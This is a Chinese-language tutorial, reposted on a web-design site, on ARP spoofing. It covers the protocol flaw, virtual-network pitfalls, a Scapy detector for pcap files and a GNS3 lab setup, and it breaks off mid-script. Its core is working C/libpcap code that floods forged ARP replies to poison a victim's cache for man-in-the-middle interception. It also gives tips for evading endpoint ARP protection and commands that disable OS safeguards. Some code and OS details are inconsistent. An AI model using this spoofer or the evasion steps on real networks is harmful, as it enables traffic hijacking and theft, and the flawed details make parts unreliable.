尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

ARP欺骗原理与实战:从协议缺陷到VC容器排障

ARP欺骗原理与实战:从协议缺陷到VC容器排障 简介这是一份面向网络安全初学者与渗透测试爱好者的ARP欺骗技术实践源码包聚焦于突破防火墙限制的局域网地址解析协议攻击原理与实现。资源包含完整的VC工程代码涵盖数据包捕获libpcap/wpcap封装、ARP帧构造、目标主机MAC地址欺骗及会话劫持等核心功能模块适用于网络协议分析、内网安全实验与CTF基础攻防训练。压缩包共33个文件含24个头文件h定义底层网络结构与跨平台兼容接口2个静态库lib/a提供抓包与协议解析能力以及dsw/dsp/vcproj/sln等多版本VC工程配置文件和主程序cpp源码整体仅89KB轻量易读。目前已有94人学习下载读者可直接编译运行深入理解ARP缓存投毒机制、WinPcap驱动调用流程及Windows平台下原始套接字编程要点是掌握中间人攻击底层实现的优质入门级实战素材。1. ARP欺骗不是“黑产专属”它是一把双刃剑用对了是网络排障利器用错了连自己网关都 ping 不通你刚在GNS3里搭好两台路由器四台主机的拓扑想验证IP转发路径结果arp -a一执行列表里全是陌生MAC——不是你配的网关也不是隔壁工位的设备。你重启网卡、清ARP缓存、甚至拔网线重插问题依旧。这不是病毒不是防火墙误报而是ARP协议本身的设计缺陷被触发了ARP欺骗ARP Spoofing正在后台静默运行。它既不是黑客电影里的炫技桥段也不是必须装WiresharkPython脚本才能碰的高危操作它是网络工程师日常调试中绕不开的底层逻辑——当你要抓包分析PCAP文件、排查跨VLAN通信异常、或在VC容器环境里复现真实流量行为时理解并可控地模拟ARP欺骗比死记硬背arp -d *命令重要十倍。本文不教你怎么攻击只讲清楚ARP欺骗的本质是什么、为什么VC环境里它特别容易翻车、怎么用libpcap在本地构造可复现的ARP应答包、如何用Python解析.pcap文件定位异常ARP交互、以及最常被火绒等安全软件拦截的那几类ARP行为到底触犯了哪条规则。适合正在做CTF网络题、部署SDN测试床、或被客户投诉“局域网间歇性断网”的一线运维和开发。2. 从协议层看透ARP欺骗为什么它能“骗过”交换机又为何在VC容器里更难控制2.1 ARP协议的“信任裸奔”设计没有校验、没有状态、只有广播和应答ARPAddress Resolution Protocol的核心任务只有一个把IP地址翻译成MAC地址。但它实现得极其朴素——没有加密、没有签名、没有会话状态。当主机A想发包给192.168.1.100时它先查本地ARP缓存没命中就发一个ARP请求广播帧目标MAC为FF:FF:FF:FF:FF:FF内容是“谁有192.168.1.100请告诉我你的MAC”。局域网内所有主机都收到这个广播但只有IP匹配的主机B会单播回复一个ARP应答帧内容是“我是192.168.1.100我的MAC是00:11:22:33:44:55”。关键漏洞就藏在这里ARP协议不验证应答来源是否合法。攻击者C只要抢先发一个伪造的ARP应答“我是192.168.1.100我的MAC是CC:CC:CC:CC:CC:CC”主机A就会把C的MAC写进自己的ARP缓存——哪怕B的真实应答后到A也照收不误多数系统采用“最新覆盖”策略。交换机只认MAC地址转发根本不管这个MAC背后是不是真对应那个IP。于是流量被无声劫持。这不是交换机的错是ARP协议本身没设计防伪机制。提示别再迷信“交换机隔离广播域就能防ARP欺骗”——广播只用于请求欺骗靠的是伪造的单播应答而交换机对单播帧永远按MAC表转发毫无质疑。2.2 VC容器环境下的ARP行为异化虚拟网卡、NAT模式与宿主机ARP表的三重干扰当你在VCVisual C编译环境或某些国产虚拟化平台简称VC容器中运行测试程序时ARP欺骗行为会变得不可预测。原因有三虚拟网卡驱动层劫持VC容器常使用TAP/TUN或Hyper-V虚拟交换机其驱动在内核层截获ARP帧。某些版本如旧版VC容器会自动过滤掉源IP与虚拟网卡配置不符的ARP应答导致你用libpcap发的伪造包直接被丢弃Wireshark里都看不到。NAT模式下的地址映射失真若VC容器走NAT上网宿主机充当网关。此时容器内发出的ARP请求目标是“宿主机的虚拟网关IP”而宿主机ARP表里记录的却是物理网卡MAC。你若在容器内伪造对宿主机网关的ARP应答宿主机可能因收到“自己IP的应答却来自陌生MAC”而触发反欺骗保护如Windows的ARP防欺骗功能直接丢包。宿主机ARP缓存污染扩散VC容器共享宿主机网络栈的部分状态。你在容器里执行arp -s 192.168.1.1 00-00-00-00-00-00静态绑定实际修改的是宿主机的ARP表。一旦容器关闭这条静态路由残留导致宿主机后续所有发往该IP的流量都打向错误MAC——这就是为什么有人抱怨“VC容器关了公司WiFi突然上不了网”。我一般会在VC容器启动前先用arp -a arp_before.txt备份宿主机ARP表测试完立即arp -d *清空并对比arp -a确认无残留。这是血泪经验换来的后悔药。2.3 为什么libpcap是构造ARP欺骗包的基石它绕过了什么、又依赖什么要真正控制ARP帧的每一个字节比如把源IP改成网关、源MAC改成攻击者MAC、操作码设为2表示应答你不能靠arp命令行工具——它只提供缓存管理不开放原始帧构造。必须用libpcapLinux/macOS或WinPcap/NpcapWindows这类底层抓包/发包库。它们直接对接网卡驱动允许你绕过操作系统TCP/IP协议栈的ARP模块避免被内核ARP逻辑过滤或覆盖构造任意二层帧包括非法源MAC、非法IP指定发送网卡避免发到错误物理接口。但libpcap不是万能钥匙它需要管理员/root权限在VC容器中若虚拟网卡驱动不支持混杂模式promiscuous modelibpcap发包会失败且它不处理ARP缓存更新——你发了100个伪造应答目标主机ARP缓存是否更新取决于其操作系统策略Linux默认更新Windows可能需注册表开启ArpUseEther。所以libpcap负责“发出去”而目标主机的ARP实现决定“接不接收”。这是理解整个链路的关键分界点。3. 用C语言libpcap手写ARP欺骗程序最小可行代码与逐行参数解析3.1 编译环境准备避开VC编译器经典报错cl.exe failed with exit status 2标题里提到的错误error: command c:\\users\\86181\\appdata\\local\\programs\\common\\microsoft\\visual c for python\\9.0\\vc\\bin\\amd64\\cl.exe failed with exit status 2本质是Python扩展模块如scapy底层调用VC编译器失败。但我们现在写纯C程序直接绕过Python。你需要Windows安装Npcap SDK非Wireshark自带的WinPcapNpcap支持现代Windows且兼容性更好解压后将Include目录加入VC包含目录Lib\x64或x86加入库目录Linuxsudo apt install libpcap-devUbuntu/Debian或sudo yum install libpcap-develCentOS/RHEL关键避坑VC项目属性 → 配置属性 → 常规 → “使用Unicode字符集”改为“使用多字节字符集”否则pcap_open_live()可能因字符串编码报错。3.2 构造ARP应答帧C结构体定义与内存布局硬核解析#include stdio.h #include stdlib.h #include string.h #include pcap.h #include arpa/inet.h // 以太网帧头14字节 struct eth_header { unsigned char dst_mac[6]; // 目标MAC受害者MAC unsigned char src_mac[6]; // 源MAC攻击者MAC即本机网卡MAC unsigned short eth_type; // 0x0806 表示ARP }; // ARP帧头28字节 struct arp_header { unsigned short hw_type; // 硬件类型0x0001以太网 unsigned short prot_type; // 协议类型0x0800IPv4 unsigned char hw_len; // 硬件地址长度6 unsigned char prot_len; // 协议地址长度4 unsigned short opcode; // 操作码1请求2应答 unsigned char src_hw_addr[6]; // 源MAC攻击者MAC unsigned char src_prot_addr[4]; // 源IP冒充的IP如网关IP unsigned char dst_hw_addr[6]; // 目标MAC受害者MAC可填0 unsigned char dst_prot_addr[4]; // 目标IP受害者IP }; // 发送ARP欺骗包的主函数 int send_arp_spoof(pcap_t *handle, const char* target_ip, // 受害者IP如192.168.1.100 const char* gateway_ip, // 被冒充的IP如192.168.1.1 const char* attacker_mac, // 攻击者MAC如00:11:22:33:44:55 const char* target_mac) { // 受害者MAC如aa:bb:cc:dd:ee:ff // 1. 分配内存以太网头(14) ARP头(28) 42字节 unsigned char packet[42]; memset(packet, 0, sizeof(packet)); struct eth_header *eth (struct eth_header*)packet; struct arp_header *arp (struct arp_header*)(packet 14); // 2. 填充以太网头 // 目标MAC受害者MAC必须已知可通过arp -a获取 sscanf(target_mac, %hhx:%hhx:%hhx:%hhx:%hhx:%hhx, eth-dst_mac[0], eth-dst_mac[1], eth-dst_mac[2], eth-dst_mac[3], eth-dst_mac[4], eth-dst_mac[5]); // 源MAC攻击者MAC本机网卡MAC sscanf(attacker_mac, %hhx:%hhx:%hhx:%hhx:%hhx:%hhx, eth-src_mac[0], eth-src_mac[1], eth-src_mac[2], eth-src_mac[3], eth-src_mac[4], eth-src_mac[5]); eth-eth_type htons(0x0806); // ARP协议类型 // 3. 填充ARP头 arp-hw_type htons(0x0001); // 以太网 arp-prot_type htons(0x0800); // IPv4 arp-hw_len 6; // MAC长度 arp-prot_len 4; // IPv4长度 arp-opcode htons(2); // ARP应答 // 源MAC 攻击者MAC同eth-src_mac sscanf(attacker_mac, %hhx:%hhx:%hhx:%hhx:%hhx:%hhx, arp-src_hw_addr[0], arp-src_hw_addr[1], arp-src_hw_addr[2], arp-src_hw_addr[3], arp-src_hw_addr[4], arp-src_hw_addr[5]); // 源IP 被冒充的IP如网关IP inet_pton(AF_INET, gateway_ip, arp-src_prot_addr); // 目标MAC受害者MAC可填0但填真实值更可靠 sscanf(target_mac, %hhx:%hhx:%hhx:%hhx:%hhx:%hhx, arp-dst_hw_addr[0], arp-dst_hw_addr[1], arp-dst_hw_addr[2], arp-dst_hw_addr[3], arp-dst_hw_addr[4], arp-dst_hw_addr[5]); // 目标IP受害者IP inet_pton(AF_INET, target_ip, arp-dst_prot_addr); // 4. 发送数据包 if (pcap_sendpacket(handle, packet, sizeof(packet)) ! 0) { fprintf(stderr, pcap_sendpacket error: %s\n, pcap_geterr(handle)); return -1; } return 0; }代码逻辑说明与参数详解packet[42]是硬编码的帧长因为标准ARP应答帧固定为42字节1428不能少也不能多否则网卡驱动拒绝发送sscanf解析MAC字符串是为兼容性——不同系统MAC格式可能是00:11:22:33:44:55或00-11-22-33-44-55生产环境建议封装为mac_str_to_bytes()函数inet_pton()将点分十进制IP转为网络字节序4字节数组必须用AF_INET不能用AF_UNSPEC否则返回0导致ARP头损坏pcap_sendpacket()返回0表示成功非0需用pcap_geterr()获取具体错误。常见错误Error sending the packet: Permission denied意味着没用管理员权限运行。3.3 主函数选择网卡、获取本机MAC、持续发送防缓存超时int main(int argc, char *argv[]) { if (argc ! 5) { printf(Usage: %s interface target_ip gateway_ip attacker_mac target_mac\n, argv[0]); printf(Example: %s \Ethernet\ 192.168.1.100 192.168.1.1 00:11:22:33:44:55 aa:bb:cc:dd:ee:ff\n, argv[0]); return -1; } char *dev argv[1]; char *target_ip argv[2]; char *gateway_ip argv[3]; char *attacker_mac argv[4]; char *target_mac argv[5]; char errbuf[PCAP_ERRBUF_SIZE]; pcap_t *handle pcap_open_live(dev, BUFSIZ, PCAP_OPENFLAG_PROMISCUOUS, 1000, errbuf); if (!handle) { fprintf(stderr, pcap_open_live error: %s\n, errbuf); return -1; } // 关键设置为非阻塞模式避免send阻塞 if (pcap_setnonblock(handle, 1, errbuf) 0) { fprintf(stderr, pcap_setnonblock error: %s\n, errbuf); } printf(Starting ARP spoof... Press CtrlC to stop.\n); int count 0; while(1) { if (send_arp_spoof(handle, target_ip, gateway_ip, attacker_mac, target_mac) 0) { count; if (count % 10 0) { printf(Sent %d ARP replies...\n, count); } } usleep(100000); // 每100ms发一次防缓存过期ARP缓存默认2分钟 } pcap_close(handle); return 0; }参数说明interface网卡名Windows下用pcap_findalldevs()列出常见为Ethernet或WLANLinux下为eth0或wlan0attacker_mac必须是你本机真实网卡的MAC否则交换机收到源MAC与端口不匹配的帧会丢弃部分交换机启用端口安全usleep(100000)是经验值ARP缓存超时通常120秒每100ms发一次确保覆盖但频率过高50ms可能触发交换机风暴抑制PCAP_OPENFLAG_PROMISCUOUS开混杂模式虽对发包非必需但方便后续用同一handle抓包验证效果。4. 用Python解析.pcap文件定位ARP欺骗从CTF流量分析到生产环境告警4.1 为什么.pcap文件是分析ARP欺骗的黄金数据源它比实时抓包更可靠当你拿到一个CTF题目给的network.pcap或生产环境导出的incident_20240520.pcap里面藏着比arp -a输出丰富百倍的信息时间戳、完整帧结构、重复应答、异常TTL、源IP与MAC的长期绑定关系。实时抓包受网络抖动、丢包影响而.pcap是“黑匣子录像”可反复回放、精确比对。尤其在GNS3中两个路由器连接主机的场景.pcap能清晰展示ARP请求如何被路由器转发、应答如何被主机接收——这是命令行工具永远给不了的时空上下文。4.2 核心Python库选型Scapy vs dpkt vs pyshark为什么最终选Scapy库优势劣势适用场景ScapyAPI直观可构造/解析/发送支持交互式调试.pcap读取稳定内存占用高大文件1GB易OOMCTF分析、小规模流量取证、教学演示dpkt轻量级C扩展解析速度快内存友好API晦涩无构造能力需手动处理字节偏移生产环境批量解析日志、嵌入式设备pyshark调用tshark后端解析精度最高支持Lua解码器依赖tshark二进制启动慢无法离线运行需要深度协议字段提取如DHCP选项本文选Scapy因其“所见即所得”pkt[ARP].psrc直接读源IPpkt[ARP].hwsrc直接读源MAC无需查RFC文档算偏移。且CTF和教学场景中你更需要快速验证猜想而非吞吐量。4.3 实战代码从.pcap提取所有ARP交互标记可疑行为#!/usr/bin/env python3 from scapy.all import * import sys from collections import defaultdict, Counter def analyze_arp_pcap(pcap_file): # 1. 读取所有ARP包 arp_packets rdpcap(pcap_file) # rdpcap()自动过滤比 sniff(offline...) 更稳 arp_list [pkt for pkt in arp_packets if ARP in pkt] if not arp_list: print(f[WARN] No ARP packets found in {pcap_file}) return print(f[INFO] Found {len(arp_list)} ARP packets) # 2. 统计IP-MAC绑定关系正常应为1:1 ip_to_mac defaultdict(set) mac_to_ip defaultdict(set) for pkt in arp_list: arp_layer pkt[ARP] psrc arp_layer.psrc # 源IP pdst arp_layer.pdst # 目标IP hwsrc arp_layer.hwsrc # 源MAC hwdst arp_layer.hwdst # 目标MAC # 只统计ARP应答opcode2请求opcode1不改变绑定关系 if arp_layer.op 2: # is_at ip_to_mac[psrc].add(hwsrc) mac_to_ip[hwsrc].add(psrc) # 3. 检测异常一个IP对应多个MAC典型欺骗迹象 suspicious_ips [] for ip, macs in ip_to_mac.items(): if len(macs) 1: suspicious_ips.append((ip, list(macs))) # 4. 检测异常一个MAC对应多个IP可能为代理或网关但也可能是欺骗 suspicious_macs [] for mac, ips in mac_to_ip.items(): if len(ips) 2: # 网关通常有2个IPIPv4IPv62需警惕 suspicious_macs.append((mac, list(ips))) # 5. 输出报告 print(\n ARP BINDING ANOMALY REPORT ) if suspicious_ips: print(\n[ALERT] IP addresses with multiple MAC bindings:) for ip, macs in suspicious_ips: print(f {ip} - {, .join(macs)}) if suspicious_macs: print(\n[ALERT] MAC addresses with multiple IP bindings:) for mac, ips in suspicious_macs: print(f {mac} - {, .join(ips)}) # 6. 进阶检查ARP应答是否来自非网关IP最直接的欺骗证据 gateway_ips set() for pkt in arp_list: if pkt[ARP].op 1 and pkt[ARP].pdst ! 0.0.0.0: # ARP请求的目标IP通常是网关 gateway_ips.add(pkt[ARP].pdst) rogue_replies [] for pkt in arp_list: if pkt[ARP].op 2: # ARP应答 if pkt[ARP].psrc not in gateway_ips and pkt[ARP].psrc ! pkt[IP].src: # 应答源IP既不是已知网关也不等于IP层源IP说明IP层被伪造 rogue_replies.append({ time: pkt.time, psrc: pkt[ARP].psrc, hwsrc: pkt[ARP].hwsrc, pdst: pkt[ARP].pdst }) if rogue_replies: print(f\n[CRITICAL] {len(rogue_replies)} rogue ARP replies detected:) for r in rogue_replies[:3]: # 只显示前3个避免刷屏 print(f Time {r[time]:.3f}s: {r[psrc]} ({r[hwsrc]}) claims to be {r[pdst]}) if __name__ __main__: if len(sys.argv) ! 2: print(Usage: python arp_analyzer.py pcap_file) sys.exit(1) analyze_arp_pcap(sys.argv[1])关键逻辑说明rdpcap()比sniff(offline...)更可靠后者在大文件中可能因内存不足崩溃ip_to_mac[psrc].add(hwsrc)使用set去重避免同一IP-MAC对重复计数检测rogue_replies时pkt[ARP].psrc ! pkt[IP].src是核心判断正常ARP应答中ARP层源IP应等于IP层源IP若不等说明IP层被篡改典型中间人特征pkt.time是浮点数秒级时间戳可用于排序或计算应答延迟——异常低延迟1ms往往是本地伪造。4.4 结合火绒拦截日志为什么它总报“对外ARP攻击”哪些行为触发了它的规则火绒等终端安全软件的ARP防护模块并非简单拦截所有ARP应答而是基于行为模式白名单。它会记录以下三类高危行为触发行为火绒日志关键词技术原理如何规避仅限授权测试高频ARP应答ARP flood detected1秒内发送50个ARP应答降低发送频率至usleep(100000)或加随机抖动非网关IP冒充网关ARP spoofing: gateway IP claimed by unknown device检测到psrc为网关IP但hwsrc不在网关MAC白名单测试前将攻击者MAC加入火绒ARP白名单设置→防护→网络防护→ARP防护→添加例外跨网段ARP应答Cross-subnet ARP reply blockedpsrc与本机不在同一子网却发来ARP应答确保测试环境所有设备在同一二层网络禁用路由器NAT用交换机直连注意生产环境严禁关闭ARP防护。上述规避方法仅适用于你拥有完全授权的测试网络如GNS3沙箱、离线VC容器。火绒的拦截是正确行为它保护的是你客户的业务连续性。5. 避坑指南ARP欺骗实验中最常踩的5个坑每个都让新手debug 3小时以上5.1 现象Wireshark里能看到自己发的ARP应答但目标主机ARP缓存没更新原因目标主机操作系统启用了ARP防欺骗保护。Windows默认开启注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters1Linux内核参数net.ipv4.conf.all.arp_ignore1或arp_announce2也会拒绝非法应答。解决Windows临时关闭不推荐生产netsh interface ipv4 set globaleventsdisabledLinuxecho 0 | sudo tee /proc/sys/net/ipv4/conf/all/arp_ignore最佳实践改用arpspoof工具dsniff套件它自动处理这些内核参数。5.2 现象VC容器里pcap_sendpacket()返回0成功但宿主机Wireshark抓不到包原因VC容器的虚拟网卡驱动如Hyper-V vSwitch不支持libpcap的原始发包或强制过滤源MAC与虚拟网卡不符的帧。解决在VC容器设置中将网络模式从“NAT”改为“桥接”Bridged使容器获得物理网段IP或改用宿主机运行欺骗程序目标IP填容器IP这样流量经物理网卡发出不受虚拟驱动限制。5.3 现象arp -a显示网关IP对应了你的MAC但ping 192.168.1.1仍超时原因你只欺骗了ARP层但ICMP层被防火墙拦截。目标主机网关可能启用了iptables -A INPUT -p icmp --icmp-type echo-request -j DROP或Windows防火墙阻止了ICMP。解决先ping网关确认基础连通性若不通检查网关防火墙规则或改用tcpdump -i any icmp在网关上抓包确认ICMP请求是否到达。5.4 现象Python Scapy脚本解析.pcap时抛出IndexError: list index out of range原因.pcap文件里存在不完整的ARP帧如被截断的UDP包误标为ARPScapy尝试访问pkt[ARP]时失败。解决加try/except包装for pkt in arp_packets: try: if ARP in pkt: arp_layer pkt[ARP] # 处理逻辑 except IndexError: continue # 跳过损坏帧或用rdpcap(..., count1000)分批读取避免一次性加载全量。5.5 现象arp -s 192.168.1.1 00-00-00-00-00-00执行后arp -a显示静态条目但ping仍走原网关原因Windows的ARP静态绑定只对直连网段生效。若网关IP192.168.1.1与本机IP10.0.0.100不在同一子网静态ARP无效。解决确认子网掩码ipconfig查看本机IP和掩码计算网段若网关确为跨网段静态ARP无意义必须通过路由表控制route add 192.168.1.1 mask 255.255.255.255 10.0.0.1。6. 进阶技巧用GNS3Wireshark构建可复现的ARP教学沙箱附带3个必调参数表格6.1 GNS3中搭建最小ARP验证拓扑两台路由器两台主机零外部依赖你不需要真实设备GNS3虚拟环境就能完美复现ARP全流程。拓扑如下[Host-A] ---(eth0) [Router-R1] (eth1)---(eth0) [Router-R2] (eth1)--- [Host-B] ↓ ↓ ↓ ↓ 192.168.10.10 192.168.10.1 192.168.20.1 192.168.20.20Host-A配置IP192.168.10.10/24网关192.168.10.1R1的eth0Host-B配置IP192.168.20.20/24网关192.168.20.1R2的eth1R1eth0192.168.10.1/24eth110.0.0.1/30启用IP转发R2eth010.0.0.2/30eth1192.168.20.1/24启用IP转发关键路由R1添加ip route 192.168.20.0 255.255.255.0 10.0.0.2R2添加ip route 192.168.10.0 255.255.255.0 10.0.0.1。这样Host-Aping 192.168.20.20时流量路径为A→R1→R2→B。Wireshark在R1的eth0接口抓包你能清晰看到Host-A发ARP请求问“192.168.10.1的MAC”R1回复ARP应答A发ICMP到R1R1查路由发现需转发到10.0.0.2于是发ARP问“10.0.0.2的MAC”R2回复……这才是真实的、带路由的ARP交互链路比单交换机环境更有教学价值。6.2 Wireshark过滤器速查表3个必调参数让你秒定位ARP异常场景Wireshark显示过滤器说明典型用途只看ARP请求arp.opcode 1opcode1是请求2是应答查找谁在主动探测网络查找特定IP的ARP交互arp.src.proto_ipv4 192.168.1.1arp.dst.proto_ipv4 192.168.1.1检测重复ARP应答arp.src.proto_ipv4 arp.dst.proto_ipv4 arp.opcode 2自己应答自己Gratuitous ARP判断主机是否在宣告IP冲突提示在GNS3中右键节点→“Capture on ...”启动Wireshark比在宿主机抓包更精准因为虚拟接口无噪声。6.3 用Python自动生成ARP测试报告把arp -a、ping、tracert结果结构化手动整理测试结果太慢。我写了个脚本自动执行三步并生成Markdown报告import subprocess import re import datetime def run_cmd(cmd): try: result subprocess.run(cmd, shellTrue, capture_outputTrue, textTrue, timeout10) return result.stdout.strip() except subprocess.TimeoutExpired: return TIMEOUT def generate_arp_report(): report f# ARP Test Report - {datetime.datetime.now().strftime(%Y-%m-%d %H:%M)}\n\n # 1. ARP缓存 report ## 1. Local ARP Cache\nbash\n report run_cmd(arp -a) \n\n\n # 2. 连通性测试 report ## 2. Ping Test p a hrefhttps://download.csdn.net/download/weixin_42653672/86637837 stylecolor:#ec7500;font-size:14px; 本文还有配套的精品资源点击获取 /a img altmenu-r.4af5f7ec.gif srchttps://csdnimg.cn/release/wenkucmsfe/public/img/menu-r.4af5f7ec.gif stylewidth:16px;margin-left:4px;vertical-align:text-bottom;cursor:text; /p
返回列表